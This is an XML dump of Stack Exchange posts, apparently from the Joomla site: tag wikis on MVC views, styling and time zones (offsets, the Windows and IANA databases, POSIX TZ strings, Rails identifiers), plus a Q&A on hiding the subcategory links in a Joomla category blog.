  <row Id="24752" PostTypeId="4" CreationDate="2019-05-30T10:31:53.960" Score="0" Body="Use this tag for questions relating to the View component of the Model-View-Controller (MVC) design pattern." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-01T22:31:58.023" LastActivityDate="2019-06-01T22:31:58.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24753" PostTypeId="5" CreationDate="2019-05-30T11:46:44.487" Score="0" Body="&lt;p&gt;A time zone is a region on Earth that has a uniform, legally mandated standard time.  As legal definitions of zones can vary wildly and change often, a database or lookup table is often required to properly apply time zone rules.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;General Information About Time Zones&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Almost all time zones on land have legally defined borders which coincide with the borders of the country mandating the time or some subdivision thereof. Of the time zones on land, most have a standard-time offset from Coordinated Universal Time (UTC) by a whole number of hours (UTC−12 to UTC+14), but several are offset by 30 or 45 minutes from a nearby hourly offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to land time zones, there are 25 nautical time zones, all separated by lines of longitude. Most (UTC−11 to UTC+11) are 15° of longitude wide, which is one hour of Earth's rotation relative to the Sun, but an hourly zone in the central Pacific Ocean is split into two 7.5° wide zones (UTC±12) by the 180th meridian, part of which coincides with the International Date Line. Many land time zones are skewed toward the west relative to the corresponding nautical time zones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before 1972, all time zones were specified as an offset from Greenwich Mean Time (GMT), which was the mean solar time at the meridian passing through the Royal Observatory in Greenwich, London, United Kingdom. Since 1972, all official time services have broadcast radio time signals synchronized to UTC, a form of atomic time that includes leap seconds to keep it within 0.9 seconds of this former GMT, now called UT1. Many countries now legally define their standard time relative to UTC, although some still legally refer to GMT, including the United Kingdom itself. UTC, also called Zulu time, is used everywhere on Earth by astronomers and others who need to state the time of an event unambiguously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally, all time on Earth was some local apparent solar time, the time on a sundial, so every city had its own time. When well-regulated mechanical clocks became widespread in the early 19th century, each city began to use some local mean solar time. The first time zone was created in 1847 by railroads on the island of Great Britain using GMT. Sandford Fleming of Canada proposed worldwide hourly time zones in 1879. By about 1900, almost all time on Earth was in the form of standard time zones, only some of which used a hourly offset from GMT. Many applied the time at a local astronomical observatory to an entire country, without any reference to GMT. It took many decades before all time on Earth was in the form of time zones referred to some &quot;standard offset&quot; from GMT/UTC. Nepal was the last country to adopt a standard offset, shifting slightly to UTC+5:45 in 1986. However, many countries have &lt;em&gt;changed&lt;/em&gt; their standard offset since then, such as when North Korea shifted from UTC+9 to UTC+8:30 in 2015.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A related concept is Daylight saving time or Summer Time, which is an advance of (usually) one hour, mandated by many countries between spring and autumn.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Time Zone != Offset&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;A time zone can not be represented solely by an offset from UTC.  Many time zones have more than one offset due to [daylight saving time][1] (aka &quot;summer time&quot;) rules.  The dates that offsets change are also part of the rules for the time zone, as are any historical offset changes.  Many software programs, libraries, and web services disregard this important detail, and erroneously call the standard or current offset the &quot;zone&quot;.  This can lead to confusion, and misuse of the data.  Please use the correct terminology whenever possible.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An &lt;strong&gt;offset&lt;/strong&gt; is just a number that represents how far a particular date/time value is ahead or behind UTC.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Most offsets are expressed in whole hours.&lt;/li&gt;&#xA;&lt;li&gt;But there are many that are 30-minute offset.&lt;/li&gt;&#xA;&lt;li&gt;And there are a &lt;em&gt;few&lt;/em&gt; that are 45-minute offset.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;A &lt;strong&gt;time zone&lt;/strong&gt; contains much more:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A name or ID that can be used to identify the zone.&lt;/li&gt;&#xA;&lt;li&gt;One or more offsets from UTC&lt;/li&gt;&#xA;&lt;li&gt;The specific dates and times that the zone transitions between offsets.&lt;/li&gt;&#xA;&lt;li&gt;Sometimes, a separate language-specific display name that can be presented to a user.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One can determine the correct offset, given a time zone and a datetime.  But one &lt;em&gt;cannot&lt;/em&gt; determine the correct time zone given just an offset.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Time Zone Abbreviations&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Many times you will see a time zone abbreviated using three or more letters, such as &lt;code&gt;PST&lt;/code&gt; to abbreviate &quot;Pacific Standard Time&quot;.   However, there are many problems with time zone abbreviations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;They are often ambiguous.  For example, there are &lt;em&gt;five&lt;/em&gt; different interpretations of &lt;code&gt;CST&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Central Standard Time (North America)&lt;/li&gt;&#xA;&lt;li&gt;Central Standard Time (Australia)&lt;/li&gt;&#xA;&lt;li&gt;Central Summer Time (Australia)&lt;/li&gt;&#xA;&lt;li&gt;China Standard Time&lt;/li&gt;&#xA;&lt;li&gt;Cuba Standard Time&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See also, the &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_time_zone_abbreviations&quot; rel=&quot;nofollow noreferrer&quot;&gt;list of Time Zone Abbreviations on Wikipedia&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At best, they only represent a time zone offset, not a time zone.  For example, the US Pacific Time Zone is abbreviated &lt;code&gt;PST&lt;/code&gt; during &lt;em&gt;Pacific Standard Time&lt;/em&gt;, but uses &lt;code&gt;PDT&lt;/code&gt; during &lt;em&gt;Pacific Daylight Time&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Abbreviations tend to be based on &lt;em&gt;English&lt;/em&gt;. Sometimes there is a valid abbreviation in another language, and it may be confusing which to use.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some time zones may never actually &lt;em&gt;use&lt;/em&gt; the abbreviation in the region where the time zone is observed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In general, if an abbreviation is used, it should be for display purposes.  An abbreviation should never be parsed, or looked up in a list of values (with the exception of &quot;UTC&quot; or &quot;GMT&quot;).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Time Zone Databases&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There are two different time zone databases commonly used in computing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://support.microsoft.com/gp/cp_dst&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Microsoft Windows Time Zone Database&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Example Identifier: &lt;code&gt;&quot;Eastern Standard Time&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can obtain a list of these time zones by any of these methods:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Examine the Windows registry key at:&lt;br&gt;&#xA;&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;tzutil.exe /l&lt;/code&gt; command line utility, looking at the second line of each result.&lt;br&gt;&#xA;(The first line is the &lt;em&gt;display name&lt;/em&gt;.)&lt;/li&gt;&#xA;&lt;li&gt;Call &lt;code&gt;TimeZoneInfo.GetSystemTimeZones&lt;/code&gt; from .NET, looking at the &lt;code&gt;Id&lt;/code&gt; property of the resulting &lt;code&gt;TimeZoneInfo&lt;/code&gt; objects.&lt;/li&gt;&#xA;&lt;li&gt;Call the &lt;code&gt;EnumDynamicTimeZoneInformation&lt;/code&gt; Win32 function, looking at the &lt;code&gt;TimeZoneKeyName&lt;/code&gt; field of the resulting &lt;code&gt;DYNAMIC_TIME_ZONE_INFORMATION&lt;/code&gt; objects.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advantages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Built in to Windows operating system.&lt;/li&gt;&#xA;&lt;li&gt;Updates are deployed automatically through Windows Update.&lt;/li&gt;&#xA;&lt;li&gt;Easy to consume from Win32 or .NET Framework on Windows.&lt;/li&gt;&#xA;&lt;li&gt;As of &lt;a href=&quot;https://support.microsoft.com/en-us/kb/3162835&quot; rel=&quot;nofollow noreferrer&quot;&gt;the June 2016 update&lt;/a&gt;, covers everywhere on Earth, except for a few research stations in Antarctica.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disadvantages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Maintained by Microsoft instead of a standards body or community.&lt;/li&gt;&#xA;&lt;li&gt;Zones tend to be broad, covering multiple countries and locations, instead of refined to a specific narrow location.&lt;/li&gt;&#xA;&lt;li&gt;Data for past years does not generally reach back very far into history, and is inconsistent with regard to starting year for the data that it does have for each time zone.&lt;/li&gt;&#xA;&lt;li&gt;Interoperability with non-Microsoft platforms can be painful.&lt;/li&gt;&#xA;&lt;li&gt;Updated monthly at best - which may or may not be frequent enough to deal with a short-notice change.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Previously, many changes were released only as hotfixes, but this has been changed in recent years such that all changes are deployed as regular updates.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Identifiers and names are confusing and assigned haphazardly.  Naming conventions have varied over the years, and there is little consistency.  In general, do not rely on a Windows time zone identifier to mean anything in particular.  Instead, choose a time zone based on its &lt;em&gt;display name&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Eastern Standard Time&quot; refers to both EST &lt;em&gt;and&lt;/em&gt; EDT.&lt;/li&gt;&#xA;&lt;li&gt;&quot;Mountain Standard Time&quot; is for MST/MDT while &quot;US Mountain Standard Time&quot; is for Arizona which is fixed to MST.&lt;/li&gt;&#xA;&lt;li&gt;&quot;US Eastern Standard Time&quot; &lt;em&gt;does&lt;/em&gt; have daylight saving time, from 2006 forward (but not for 2005 or earlier).  It's used in the majority of Indiana.&lt;/li&gt;&#xA;&lt;li&gt;&quot;Romance Standard Time&quot; is just a synonym for Central European Time.&lt;/li&gt;&#xA;&lt;li&gt;&quot;W. Europe Standard Time&quot; is the id for several countries that belong to the &lt;a href=&quot;https://www.timeanddate.com/time/zones/cet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Central European Time&lt;/a&gt; zone, not the &lt;a href=&quot;https://www.timeanddate.com/time/zones/wet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Western European Time&lt;/a&gt; zone.&lt;/li&gt;&#xA;&lt;li&gt;&quot;AUS Eastern Standard Time&quot; and &quot;E. Australia Standard Time&quot; only differ by DST.&lt;/li&gt;&#xA;&lt;li&gt;&quot;Arab Standard Time&quot;, &quot;Arabian Standard Time&quot;, and &quot;Arabic Standard Time&quot; are three completely different time zones with similar names.&lt;/li&gt;&#xA;&lt;li&gt;&quot;SA Pacific Standard Time&quot; and &quot;Pacific SA Standard Time&quot; are also completely different.&lt;/li&gt;&#xA;&lt;li&gt;&quot;Russia Time Zone 3&quot;, &quot;Russia Time Zone 10&quot; and &quot;Russia Time Zone 11&quot; are valid identifiers, but other Russia time zones have names instead of numbers.&lt;/li&gt;&#xA;&lt;li&gt;&quot;UTC&quot;, &quot;UTC-02&quot;, &quot;UTC-08&quot;, &quot;UTC-09&quot;, &quot;UTC-11&quot;, and &quot;UTC+12&quot; are valid identifiers, but other offsets are not.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As mentioned above, Windows time zones also have a &lt;em&gt;display name&lt;/em&gt;.&lt;br&gt;&#xA;For example, &lt;code&gt;&quot;(UTC-05:00) Eastern Time (US &amp;amp; Canada)&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;These names contain a time zone offset, but those offsets represent the &lt;em&gt;standard&lt;/em&gt; time offset, not the &lt;em&gt;current&lt;/em&gt; offset.  This can be confusing, as the offset listed may not be the actual one in effect.&lt;/li&gt;&#xA;&lt;li&gt;The display names are localised by the language settings of the Windows operating system.  When used via &lt;code&gt;TimeZoneInfo&lt;/code&gt; in .NET, the localizations are not updated to reflect the current culture or current UI culture.   For example, you might have an application that serves data to an English speaking user, but when hosted on a Japanese server, the time zone display names will be presented in Japanese.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.iana.org/time-zones&quot; rel=&quot;nofollow noreferrer&quot;&gt;The IANA/Olson Time Zone Database&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Also known as ZoneInfo, TZDB or the TZ database&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Example Identifier: &lt;code&gt;&quot;America/New_York&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advantages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Widely implemented on Linux, Mac, Java, PHP, and many other platforms.&lt;/li&gt;&#xA;&lt;li&gt;Libraries are available for &lt;a href=&quot;https://stackoverflow.com/a/15171030&quot;&gt;JavaScript&lt;/a&gt; and for &lt;a href=&quot;https://nodatime.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows/.Net&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Refined, distinct time zones named from an exemplar city.&lt;/li&gt;&#xA;&lt;li&gt;Covers everywhere on Earth.&lt;/li&gt;&#xA;&lt;li&gt;Contains historical data for time zone changes.&lt;/li&gt;&#xA;&lt;li&gt;Referenced in many RFCs and other standards.&lt;/li&gt;&#xA;&lt;li&gt;Community maintained, recently backed by IANA.&lt;/li&gt;&#xA;&lt;li&gt;Frequent updates, several times a year.&lt;/li&gt;&#xA;&lt;li&gt;Some implementations make it easy to get updates:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;On Linux with &lt;a href=&quot;https://chrisjean.com/updating-daylight-saving-time-on-linux/&quot; rel=&quot;nofollow noreferrer&quot;&gt;a package manager&lt;/a&gt; and the &quot;tzdata&quot; package.&lt;/li&gt;&#xA;&lt;li&gt;On Mac OSX with &lt;a href=&quot;https://support.apple.com/kb/HT2019&quot; rel=&quot;nofollow noreferrer&quot;&gt;Apple Software Update&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;For Java, with JRE/JDK updates, or with the &lt;a href=&quot;http://www.oracle.com/technetwork/java/javase/tzupdater-readme-136440.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;TZUpdater Tool&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disadvantages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Most implementations require manual updating, such as &lt;a href=&quot;https://nodatime.org/1.1.x/userguide/tzdb.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Noda Time&lt;/a&gt;, &lt;a href=&quot;http://www.joda.org/joda-time/tz_update.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joda Time&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/q/3564478&quot;&gt;PHP&lt;/a&gt;, and others.  (However, the &lt;em&gt;ability&lt;/em&gt; to update manually could actually be considered an advantage.)&lt;/li&gt;&#xA;&lt;li&gt;There are so many zones, it can be difficult to present a simple drop-down list to your users.  However, a map-based time zone picker, such as &lt;a href=&quot;https://github.com/dosx/timezone-picker&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt;, can provide a good user experience.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Tz_database&quot; rel=&quot;nofollow noreferrer&quot;&gt;Read more on Wikipedia.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Map of IANA/Olson Time Zones&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This map shows the world map of IANA/Olson time zones.  Note that many countries have multiple time zones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XUFI2.png&quot; alt=&quot;TZDB map of the world&quot;&gt;&#xA;&lt;sup&gt;Credit: &lt;a href=&quot;http://efele.net/maps/tz/world/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Eric Muller&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Role of the CLDR&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Unicode Common Locale Data Repository maintains localized translations of IANA/Olson time zone names, as well as mapping between Microsoft Windows identifiers and IANA/Olson identifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mapping data is available &lt;a href=&quot;https://unicode.org/cldr/charts/latest/supplemental/zone_tzid.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the second table on this page&lt;/a&gt;, or &lt;a href=&quot;https://unicode.org/repos/cldr/trunk/common/supplemental/windowsZones.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;in xml format here&lt;/a&gt;.  Note that there is usually more than one possible IANA/Olson zone for any given Windows zone.  So one can translate an Olson zone to a single Windows zone, but they other direction will yield more than one possible choice.  Also note that while every Windows zone is mapped, not every IANA/Olson zone is.  So it is always possible to go from a Windows zone to (one or more) IANA/Olson zones - but not necessarily the other way around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://stackoverflow.com/a/17348822&quot;&gt;How to convert between Microsoft time zones and IANA time zones in .NET&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;POSIX style time zones&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Prior to acceptance of the time zone databases, the standard way to describe time zones was defined by the &lt;a href=&quot;https://en.wikipedia.org/wiki/POSIX&quot; rel=&quot;nofollow noreferrer&quot;&gt;POSIX&lt;/a&gt; specification, as set in the &lt;code&gt;TZ&lt;/code&gt; &lt;a href=&quot;http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap08.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;environment variable&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;PST8PDT&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;CET-1CEST,M3.5.0/2,M10.5.0/3&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;GRNLNDST3GRNLNDDT,M10.3.0/00:00:00,M2.4.0/00:00:00&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While this compact format allows for time zone rules to be expressed without a database, it has a few disadvantages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cannot express more than two transitions in a year, so it can't handle real-world events like &lt;a href=&quot;https://www.timeanddate.com/worldclock/clockchange.html?n=53&amp;amp;year=2010&quot; rel=&quot;nofollow noreferrer&quot;&gt;Egypt in 2010&lt;/a&gt; or &lt;a href=&quot;https://www.timeanddate.com/worldclock/clockchange.html?n=60&amp;amp;year=2012&quot; rel=&quot;nofollow noreferrer&quot;&gt;Morocco in 2012&lt;/a&gt;, &lt;a href=&quot;https://www.timeanddate.com/worldclock/clockchange.html?n=60&amp;amp;year=2013&quot; rel=&quot;nofollow noreferrer&quot;&gt;2013&lt;/a&gt;, and &lt;a href=&quot;https://www.timeanddate.com/worldclock/clockchange.html?n=60&amp;amp;year=2014&quot; rel=&quot;nofollow noreferrer&quot;&gt;2014&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Contains only the &lt;em&gt;current&lt;/em&gt; time zone rules, so it cannot be used to accurately convert historical changes, such as &lt;a href=&quot;https://en.wikipedia.org/wiki/Daylight_saving_time_in_the_United_States#2005_Revision_to_dates_of_observance&quot; rel=&quot;nofollow noreferrer&quot;&gt;USA before 2007&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Are sometimes cryptic and difficult to read.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Fortunately, most environments that accepted a TZ variable, will now allow you to pass an IANA/Olson identifier instead.  For example, see the third option for &lt;a href=&quot;https://www.gnu.org/software/libc/manual/html_node/TZ-Variable.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;working with time zones in glibc&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IBM has a good article about POSIX vs Olson time zone formats &lt;a href=&quot;https://www.ibm.com/developerworks/aix/library/au-aix-posix/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.  (This was written for AIX, but is applicable in many other contexts.)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Rails Time Zone Identifiers&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you are a Ruby on Rails developer, or if you use an API from an application that was created using Rails (such as Twitter), then you may encounter time zone identifiers in a slightly different format, such as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;&quot;Eastern Time (US &amp;amp; Canada)&quot;&lt;/code&gt; (instead of &lt;code&gt;&quot;America/New_York&quot;&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&quot;London&quot;&lt;/code&gt; (instead of &lt;code&gt;&quot;Europe/London&quot;&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These identifiers are defined by Rails in the &lt;a href=&quot;http://api.rubyonrails.org/classes/ActiveSupport/TimeZone.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ActiveSupport::TimeZone&lt;/a&gt; class.  &lt;a href=&quot;https://github.com/rails/rails/blob/master/activesupport/lib/active_support/values/time_zone.rb&quot; rel=&quot;nofollow noreferrer&quot;&gt;The source code for this class is here.&lt;/a&gt;  They are based on standard IANA/Olson time zones.  Rails describes them as &quot;a meaningful subset of 146 zones&quot;, however it does not describe by what criteria it determines a zone to be &quot;meaningful&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While these particular zones should work just fine within a Rails application, you may find it difficult to use them in other contexts.  For example, if you need to pass a time zone to a JavaScript library, or via a REST API to some third party, it may be difficult to consume them in Rails format. Rails developers should consider one of the two approaches:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When exposing a Rails time zone identifier externally, use the &lt;code&gt;ActiveSupport::TimeZone::MAPPING&lt;/code&gt; constant, which defines a dictionary back to standard IANA/Olson zone identifers.&lt;/li&gt;&#xA;&lt;li&gt;Use the Ruby &lt;a href=&quot;https://tzinfo.github.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;TZinfo Gem&lt;/a&gt; instead of &lt;code&gt;ActiveSupport::TimeZone&lt;/code&gt;.  It provides access to the full IANA/Olson time zone database, and uses standard identifiers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://stackoverflow.com/a/30795167&quot;&gt;How to convert from Microsoft time zones to Rails time zones&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-01T22:31:45.327" LastActivityDate="2019-06-01T22:31:45.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24754" PostTypeId="4" CreationDate="2019-05-30T11:46:44.487" Score="0" Body="A time zone is a region on Earth that has a uniform, legally mandated standard time. It is often represented by an identifier, such as &quot;America/Los_Angeles&quot;. Do not mistake an offset such as -07:00 as a time zone. A time zone is much more than that. Please read the entire tag wiki for details." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-01T22:31:51.727" LastActivityDate="2019-06-01T22:31:51.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24756" PostTypeId="5" CreationDate="2019-05-30T12:06:22.070" Score="0" Body="&lt;p&gt;Styling rules can be defined within a document or via an external stylesheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An assortment of programming languages may be used to apply styles to digital products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most commonly, Joomla! websites are styled largely by Cascading Style Sheets (CSS) and inline style declarations.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-01T22:31:34.493" LastActivityDate="2019-06-01T22:31:34.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24757" PostTypeId="4" CreationDate="2019-05-30T12:06:22.070" Score="0" Body="Styling is the process of binding visual metadata to a document.  Questions relating to css should use the css tag instead of this tag.  Likewise, more specific style language/technique tags should be used instead of this general tag." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-01T22:31:26.913" LastActivityDate="2019-06-01T22:31:26.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24758" PostTypeId="1" AcceptedAnswerId="24759" CreationDate="2019-05-30T13:34:37.137" Score="2" ViewCount="547" Body="&lt;p&gt;I am using a category blog menu item type in order to display article intro’s for a number of subcategories. Under the blog layout settings, 'include subcategories' is therefore set to all in order that all of the child subcategories appear within the category blog. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all looks fine except at the bottom of the page the title ‘Subcategories’ appears along with links to the subcategories.  This is unnecessary and pointless as they are already listed above as article intro’s.  I would like to remove this but can't figure out how to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CWe1i.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CWe1i.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance for your time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Emma&lt;/p&gt;&#xA;" OwnerUserId="13571" LastActivityDate="2019-05-31T14:58:12.977" Title="Remove Subcategories title and links from bottom of Category blog" Tags="|joomla-3.x|category-blog|subcategories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24759" PostTypeId="2" ParentId="24758" CreationDate="2019-05-30T16:45:46.993" Score="2" Body="&lt;p&gt;Welcome to Stack Exchange.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is controlled in the menu item.  You need to: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go into your administration section of Joomla!&lt;/li&gt;&#xA;&lt;li&gt;Click on Menus&lt;/li&gt;&#xA;&lt;li&gt;Go to the menu that you are using e.g. &quot;main menu&quot;&lt;/li&gt;&#xA;&lt;li&gt;Select the menu item e.g. &quot;day trips&quot;&lt;/li&gt;&#xA;&lt;li&gt;Click on the tab called &quot;category&quot;&lt;/li&gt;&#xA;&lt;li&gt;You can choose the dropdown I show in my image &quot;subcategory levels&quot;, set this to &quot;none&quot; and your subcategories will stop showing&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j5P27.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j5P27.jpg&quot; alt=&quot;how-to-turn-off-subcategory-images&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2019-05-31T14:58:12.977" LastActivityDate="2019-05-31T14:58:12.977" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
